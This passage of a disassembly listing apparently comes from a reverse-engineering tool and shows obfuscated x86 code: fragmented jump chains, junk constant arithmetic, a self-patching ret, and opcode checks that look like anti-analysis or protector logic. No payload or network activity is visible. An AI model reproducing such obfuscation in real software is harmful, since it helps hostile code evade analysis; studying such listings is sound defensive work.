		and	edi, 7E345A7Ch
		pushf
		jmp	loc_43A2F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_43B5B0:				; CODE XREF: sub_4480DE+15DCj
		test	al, al
		jnz	loc_445FB4
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0E8h
		jnz	loc_44C443
		jmp	loc_44315E
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_43B5C9:				; CODE XREF: sub_43FAC6:loc_44DCB2j
		adc	edi, ebp
		add	ecx, 804744ABh

loc_43B5D1:				; CODE XREF: y22d6.y.:loc_437A88j
		jmp	loc_4458CA
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------

loc_43B5D6:				; CODE XREF: y22d6.y.:00445050j
		jns	loc_43CE80
		shl	esi, 5
		jmp	sub_43C5EE
; ---------------------------------------------------------------------------
		push	80C8E061h
		pop	eax
		and	eax, 7542A2CEh
		rol	eax, 1Fh
		jmp	loc_44B1FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440ABC

loc_43B5F8:				; CODE XREF: sub_440ABC:loc_4388BCj
		push	edx
		push	3104DE00h
		pop	edx
		and	edx, 0F3D9F672h
		xor	edx, 6342992Bh
		add	edx, ebp
		call	sub_440626

locret_43B612:				; CODE XREF: sub_43F422-7E36j
		retn
; END OF FUNCTION CHUNK	FOR sub_440ABC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED31

loc_43B613:				; CODE XREF: sub_43ED31:loc_449449j
		add	edi, ebp
		add	edi, 0F147406Ch
		mov	[edi], eax
		pop	edi
		jmp	loc_437F35
; END OF FUNCTION CHUNK	FOR sub_43ED31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43B623:				; CODE XREF: sub_448EB6+177j
		jz	loc_44383F
		jmp	loc_43B708
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		dw 6850h
		dd 71F0FC7Bh, 0FFFDFBE8h, 0A949E9FFh ; CODE XREF: y22d6.y.:00449539j
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439175

loc_43B63E:				; CODE XREF: sub_439175+Aj
		add	ebx, ebp
		add	ebx, 0AE63B4BFh
		push	offset loc_44C3F0
		jmp	nullsub_56
; END OF FUNCTION CHUNK	FOR sub_439175
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43B650:				; CODE XREF: sub_4432B8-702Bj
		jnb	loc_443FA4
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_43B656	proc near		; CODE XREF: sub_44A359+291Dp

; FUNCTION CHUNK AT 0043EBC8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00445B90 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446DB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D975 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044E225 SIZE 00000005 BYTES

		xchg	esi, [esp+0]

loc_43B659:				; CODE XREF: y22d6.y.:004447E5j
		pop	esi
		add	esi, 2C1EEF6h
		xor	eax, esi
		pop	esi
		jmp	loc_445B90
sub_43B656	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E2B6

loc_43B668:				; CODE XREF: sub_44E2B6:loc_44102Bj
		jl	loc_445D71
; END OF FUNCTION CHUNK	FOR sub_44E2B6
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_43B66E:				; CODE XREF: sub_43D20E+EF5Ej
		jmp	loc_44CBB1
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------

loc_43B673:				; CODE XREF: y22d6.y.:0043ABD8j
		jmp	loc_449F99
; ---------------------------------------------------------------------------
		xor	edx, ecx
		jmp	loc_445D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AC5C

loc_43B67F:				; CODE XREF: sub_43AC5C+1j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_441848
		jmp	loc_44DFE6
; END OF FUNCTION CHUNK	FOR sub_43AC5C
; ---------------------------------------------------------------------------
		push	642435E4h
		jmp	sub_43D20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_43B69A:				; CODE XREF: sub_44BBBA:loc_43901Dj
		jge	loc_4422DC

loc_43B6A0:				; CODE XREF: sub_43F422+4573j
		jmp	loc_442E6D
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------

loc_43B6A5:				; CODE XREF: y22d6.y.:00441FA0j
		jmp	nullsub_354
; ---------------------------------------------------------------------------
		pop	edx
		sub	ebp, 2A736879h
		popf
		jmp	loc_4422DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B011

loc_43B6B7:				; CODE XREF: sub_44B011+Fj
		call	sub_445F98
; END OF FUNCTION CHUNK	FOR sub_44B011
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_43B6BC:				; CODE XREF: sub_438B66+110B0j
		jz	loc_441798
; END OF FUNCTION CHUNK	FOR sub_438B66
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43B6C2:				; CODE XREF: sub_448EB6-3B39j
		jmp	loc_4477D0
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43B6C7:				; CODE XREF: sub_44B1D2-6E78j
		jmp	loc_44B85B
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43B6CC:				; CODE XREF: sub_44057E+2B97j
		jmp	loc_44BF07
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_43B6D1:				; CODE XREF: sub_44E5C7-16D3Ej
		jmp	loc_442A00
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
		add	edi, 0C6EBF460h
		jb	loc_442BCD
		or	ecx, 869BC942h
		jmp	loc_441796
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_43B6ED:				; CODE XREF: sub_43C6D7+4EEBj
		pop	ecx
		rol	ecx, 0Ah
		xor	ecx, 24F1FFFCh
		or	ecx, 58243D92h
		jmp	loc_43D951
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_43B702:				; CODE XREF: sub_4475B3+3E73j
		jz	loc_447C58
; END OF FUNCTION CHUNK	FOR sub_4475B3
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43B708:				; CODE XREF: sub_448EB6-D88Dj
		jmp	loc_438BBF
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		sub	edx, 8E20125h
		js	loc_4399EF
		pop	edi
		cmp	ebp, 44FF5D13h
		jmp	loc_440AE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD2F

loc_43B725:				; CODE XREF: y22d6.y.:00442579j
					; sub_43AD2F:loc_448CF4j
		or	ebp, 0E6CEBB99h
		jmp	loc_43FD47
; END OF FUNCTION CHUNK	FOR sub_43AD2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43B730:				; CODE XREF: sub_44B1D2-1C6Fj
		jnz	loc_44A051
		jmp	loc_43B59F
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44798E

loc_43B73B:				; CODE XREF: sub_44798E:loc_442F3Bj
		add	ebx, 44E258B0h
		xchg	ebx, [esp+0]
		jmp	sub_44A9DF
; END OF FUNCTION CHUNK	FOR sub_44798E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_43B749:				; CODE XREF: sub_43E81B-3BDAj
					; sub_445362+265Dj ...
		jmp	loc_447820
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445362

loc_43B74E:				; CODE XREF: sub_43E81B:loc_443797j
					; sub_445362+6j
		xchg	eax, [esp+0]
		mov	ecx, eax
		pop	eax
		xchg	edi, [esp-4+arg_0]
		mov	ebp, edi
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_445362
; ---------------------------------------------------------------------------

loc_43B75B:				; CODE XREF: y22d6.y.:00439C67j
		jmp	loc_439360
; ---------------------------------------------------------------------------

loc_43B760:				; CODE XREF: y22d6.y.:0044474Dj
		add	ecx, 6FFA51B0h
		add	ecx, ebp
		add	ecx, 0DF027EFCh
		mov	[ecx], eax
		xchg	edx, [esp]
		mov	ecx, edx
		pop	edx
		mov	eax, [ebp-4]
		jmp	loc_448347
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B3C9

loc_43B77E:				; CODE XREF: sub_44B3C9-1003Cj
		pop	eax
		or	eax, 0DB385045h
		and	eax, 13C8B1D6h
		jns	loc_43F054
; END OF FUNCTION CHUNK	FOR sub_44B3C9
; START	OF FUNCTION CHUNK FOR sub_439051

loc_43B791:				; CODE XREF: sub_439051+4C6Aj
		jmp	loc_440134
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_43B796:				; CODE XREF: sub_43C6D7+3211j
		or	edx, 559F5D34h
		xor	edx, 64CE1134h
		add	edx, ebp
		add	edx, 648E1374h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_44525E
; END OF FUNCTION CHUNK	FOR sub_43C6D7

; =============== S U B	R O U T	I N E =======================================



sub_43B7B5	proc near		; CODE XREF: y22d6.y.:00438BE1j
					; sub_44E33C:loc_43D84Bp

; FUNCTION CHUNK AT 00437FD1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043B749 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D5CF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DC98 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043E004 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440ADE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441A94 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044254E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004425C6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004425EF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00442611 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004427D3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00443C34 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00445311 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445335 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004462A7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044744F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447D34 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004489BA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00448E78 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044AD1C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C761 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044C93D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044CBDB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044CEA2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D16E SIZE 0000000C BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, ds:dword_444B00
		or	eax, eax
		jnz	loc_448E78
		jmp	loc_43D5CF
sub_43B7B5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43B7CC:				; CODE XREF: y22d6.y.:0043C344j
		jnp	sub_44B0E5
		xchg	edi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_43B7D4	proc near		; CODE XREF: sub_4463CE+7p

; FUNCTION CHUNK AT 0043A1E6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043C063 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C497 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CF24 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00441BB6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00441F44 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442DC7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00442ECE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444902 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00445963 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00445DE9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044636A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446533 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044779F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004485C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C5F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D49A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DE73 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044E2DD SIZE 0000001F BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [ebp-4]
		jmp	loc_44C5F2
sub_43B7D4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_43B7E0:				; CODE XREF: sub_43F501-12ADj
		sub	edx, 7DB9B1B1h
		or	edx, 2F0F6800h
		rol	edx, 19h
		add	edx, 0F8C56CBCh
		mov	[edx], eax
		jmp	loc_4451E3
; END OF FUNCTION CHUNK	FOR sub_43F501
; ---------------------------------------------------------------------------

loc_43B7FC:				; CODE XREF: y22d6.y.:0044AB0Cj
		push	eax
		mov	eax, edx
		push	ecx
		push	91BAACF7h
		pop	ecx
		xor	ecx, 0DDF567A8h
		or	ecx, 0FFAF83CBh
		and	ecx, 8444C340h
		jmp	loc_4484CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452EE

loc_43B81D:				; CODE XREF: sub_4452EE:loc_43E4E3j
		test	esi, 42A6318Ah
		jmp	loc_439C77
; END OF FUNCTION CHUNK	FOR sub_4452EE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E63C

loc_43B829:				; CODE XREF: sub_44E63C-F2E3j
		jmp	loc_43F904
; END OF FUNCTION CHUNK	FOR sub_44E63C
; ---------------------------------------------------------------------------

loc_43B82E:				; CODE XREF: y22d6.y.:004493ABj
		or	eax, 0FDC5AB7Ah
		xor	eax, 0B810A329h
		rol	eax, 15h
		sub	eax, 97985942h
		jmp	loc_44A64A
; ---------------------------------------------------------------------------

loc_43B848:				; DATA XREF: y22d6.y.:0043EAF2o
		xchg	edi, [esp]

loc_43B84B:				; CODE XREF: y22d6.y.:loc_442DB3j
		jmp	loc_43F087
; ---------------------------------------------------------------------------
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_43B851:				; CODE XREF: y22d6.y.:0043F0DBj
					; sub_44BCC2:loc_44966Cj
		jmp	sub_44C194
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED4E

loc_43B857:				; CODE XREF: sub_43ED4E+D83Ej
		jmp	nullsub_18
; END OF FUNCTION CHUNK	FOR sub_43ED4E
; ---------------------------------------------------------------------------

loc_43B85C:				; CODE XREF: y22d6.y.:004442F5j
		jmp	loc_44C653
; ---------------------------------------------------------------------------

loc_43B861:				; CODE XREF: y22d6.y.:00441824j
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442E1F

loc_43B866:				; CODE XREF: sub_442E1F-6893j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_43CE48
		jmp	loc_43B39C
; END OF FUNCTION CHUNK	FOR sub_442E1F

; =============== S U B	R O U T	I N E =======================================



sub_43B878	proc near		; CODE XREF: y22d6.y.:00443AEFj
					; sub_44928B:loc_44E144p

; FUNCTION CHUNK AT 00439511 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043A678 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E753 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044164C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004425DB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443F38 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044868C SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		pushf
		push	0A26609A5h
		pop	eax
		add	eax, 33DA9379h
		jmp	loc_43A678
sub_43B878	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447268

loc_43B88E:				; CODE XREF: sub_447268:loc_4475C7j
		mov	eax, [esp+0]
		push	edx
		push	edx
		push	95858702h
		pop	edx
		rol	edx, 12h
		sub	edx, 7813E1E6h
		jmp	loc_448181
; END OF FUNCTION CHUNK	FOR sub_447268
; ---------------------------------------------------------------------------

locret_43B8A7:				; CODE XREF: y22d6.y.:00447A58j
		retn
; ---------------------------------------------------------------------------

loc_43B8A8:				; CODE XREF: y22d6.y.:0043E211j
		jmp	loc_43B969
; ---------------------------------------------------------------------------

loc_43B8AD:				; DATA XREF: y22d6.y.:0043A7F5o
		push	edx
		push	60BAA2ADh
		pop	edx
		or	edx, 0F1227E23h
		add	edx, 0D60E6034h
		jmp	loc_442ADA
; ---------------------------------------------------------------------------
		test	ecx, esi
		jmp	loc_43CB92
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441EC4

loc_43B8CD:				; CODE XREF: sub_441EC4+Fj
		jmp	nullsub_338
; END OF FUNCTION CHUNK	FOR sub_441EC4
; ---------------------------------------------------------------------------

loc_43B8D2:				; DATA XREF: sub_438FBB+1o
		jo	loc_44BC1A
		mov	eax, [esp]
		push	edx
		call	sub_4397E6
		push	5E59718Dh
		pop	eax
		or	eax, ds:4000E7h
		add	eax, 9D29E015h
		jmp	loc_4484F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43B8F8:				; CODE XREF: sub_44B1D2-10A83j
		jle	loc_449904
		sub	esi, ebx
		jg	loc_43FBAB

loc_43B906:				; CODE XREF: y22d6.y.:0043D379j
		push	62D19020h
		shr	ebx, 0Fh

loc_43B90E:				; CODE XREF: sub_44B1D2:loc_43A2B0j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44E112
		jmp	loc_43DA2D
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------

loc_43B91F:				; CODE XREF: y22d6.y.:00442D38j
		xor	ecx, edx

; =============== S U B	R O U T	I N E =======================================



sub_43B921	proc near		; CODE XREF: y22d6.y.:00448AC8p
		xchg	eax, [esp+0]
		pop	eax
		push	esi
		pushf
		push	0D1D45827h
		pop	esi
		jmp	loc_4384D1
sub_43B921	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43B932:				; CODE XREF: sub_4432B8+12Cj
		mov	edx, [ebp+8]
		imul	dword ptr [edx-4]
		add	eax, 2
		mov	[ebp-0Ch], eax
		jmp	loc_43D9F9
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_43B943:				; CODE XREF: sub_43BCA9+BAC9j
		rol	edx, 0Bh
		xor	edx, 0AC948A8Dh
		add	edx, 45813C75h
		xchg	edx, [esp+4+var_4]
		jmp	loc_445C9B
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_43B95A:				; CODE XREF: sub_444581:loc_439133j
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_43B348
		jmp	loc_442758
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------

loc_43B969:				; CODE XREF: y22d6.y.:loc_43B8A8j
		push	offset loc_44CB6D
		jmp	locret_43DAD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444871

loc_43B973:				; CODE XREF: sub_444871+1j
		push	1864641Ch
		pop	ebx
		add	ebx, 25C7997Dh
		sub	ebx, ds:4000E7h
		rol	ebx, 0Eh
		jmp	loc_44C0D6
; END OF FUNCTION CHUNK	FOR sub_444871

; =============== S U B	R O U T	I N E =======================================



sub_43B98D	proc near		; CODE XREF: sub_43D025:loc_438215p
					; y22d6.y.:00442CFEj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438648 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A882 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043A9D2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043AED8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043BF51 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043C0B6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043D2EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E1C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E60E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FCD9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00442215 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004424FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044282C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443EAE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00443F90 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00444D67 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00445B37 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004464F1 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00447804 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00447BF5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004481CB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044985E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044B212 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044C468 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044C4CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D942 SIZE 00000022 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		cmp	dword ptr [ebp-10h], 2
		jnz	loc_43A882

loc_43B99B:				; CODE XREF: sub_448EB6:loc_4387C8j
		jmp	loc_443F90
sub_43B98D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43B9A0:				; CODE XREF: y22d6.y.:loc_43DF51j
		xor	edx, 0D16D1E48h
		cmp	edx, 1B43476h
		jmp	loc_447971
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43B9B1:				; CODE XREF: sub_448EB6-3025j
		sbb	eax, 6F379EDFh

loc_43B9B7:				; CODE XREF: sub_4480DE:loc_43F869j
		call	sub_43760A
		mov	edx, 0BB931B55h
		push	edx
		push	293C1EE8h
		pop	edx
		xor	edx, 222AC0B8h
		and	edx, 585E9A07h
		jmp	loc_43CD96
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_43B9D9	proc near		; DATA XREF: sub_44C980:loc_441518o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043FDF8 SIZE 00000014 BYTES

		push	edi
		push	18B43BC4h
		pop	edi
		and	edi, 0C3621257h
		jmp	loc_43FDF8
sub_43B9D9	endp

; ---------------------------------------------------------------------------
		shr	ecx, 18h
		jmp	sub_447A01

; =============== S U B	R O U T	I N E =======================================



sub_43B9F3	proc near		; CODE XREF: sub_44E242-91C8p
					; sub_44DB81-1564j

; FUNCTION CHUNK AT 0043E4DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004414B0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044300E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444DAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004461EF SIZE 00000022 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp+0]
		push	edx
		jmp	loc_44300E
sub_43B9F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_43BA03:				; CODE XREF: sub_43A6E1+Cj
		or	eax, eax
		jnz	loc_44D58E
		jmp	loc_445426
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449ECF

loc_43BA10:				; CODE XREF: sub_449ECF:loc_43A32Bj
		add	edi, 0BDC155C8h
		mov	[edi], eax
		pop	edi
		lea	eax, nullsub_12
		jmp	loc_44B4CB
; END OF FUNCTION CHUNK	FOR sub_449ECF

; =============== S U B	R O U T	I N E =======================================



sub_43BA24	proc near		; DATA XREF: sub_43E165+15o
		lea	eax, sub_44C980
		mov	byte ptr [eax],	0C3h
		jmp	sub_44C980
sub_43BA24	endp


; =============== S U B	R O U T	I N E =======================================



sub_43BA32	proc near		; CODE XREF: sub_40FB50+247p
					; sub_40FB50+2A2p ...

; FUNCTION CHUNK AT 0044A8B4 SIZE 0000000F BYTES

		push	edx
		push	78030235h
		xor	edx, ecx
		jmp	loc_44A8B4
sub_43BA32	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_43BA3F:				; CODE XREF: sub_43D20E-5629j
		lea	eax, [ebp-125h]
		mov	[ebp-20h], eax

loc_43BA48:				; CODE XREF: y22d6.y.:loc_44B66Fj
		mov	eax, [ebp-1Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_43B503

loc_43BA54:				; CODE XREF: sub_44364E:loc_43E6E6j
		js	loc_440FEA
		jmp	loc_443009
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DC7

loc_43BA5F:				; CODE XREF: sub_441DC7+16j
		or	eax, eax
		jz	loc_43DECE
		cmp	eax, 0FFFFFFFFh
		jz	loc_43DECE
		mov	eax, [eax]
		jmp	loc_446175
; ---------------------------------------------------------------------------

loc_43BA77:				; CODE XREF: sub_441DC7:loc_441DD7j
		or	eax, eax
		push	offset loc_43D3DA
		jmp	loc_44884F
; END OF FUNCTION CHUNK	FOR sub_441DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43BA83:				; CODE XREF: sub_448EB6:loc_43DB99j
		mov	ds:dword_44183C, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_43BA8A:				; CODE XREF: y22d6.y.:00442AEEj
		jmp	loc_43D5F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43BA8F:				; CODE XREF: sub_44B17B-DA40j
		jmp	nullsub_3
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3DD

loc_43BA94:				; CODE XREF: sub_43C3DD-2B36j
		push	offset loc_439E2C
		jmp	loc_43AD5F
; END OF FUNCTION CHUNK	FOR sub_43C3DD

; =============== S U B	R O U T	I N E =======================================



sub_43BA9E	proc near		; CODE XREF: sub_447C9E+7p
					; y22d6.y.:0044B944j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438161 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439AE7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00442B26 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004452CE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004482B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449E5F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044D92F SIZE 00000013 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ebp-4], eax
		push	1Ch
		lea	eax, [ebp-34h]
		push	esi
		jmp	loc_449E5F
sub_43BA9E	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_43BAB1:				; CODE XREF: sub_43A58D+9B9Fj
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_43A58D
; ---------------------------------------------------------------------------

loc_43BAB6:				; CODE XREF: y22d6.y.:00438B07j
		jmp	loc_43EEEA
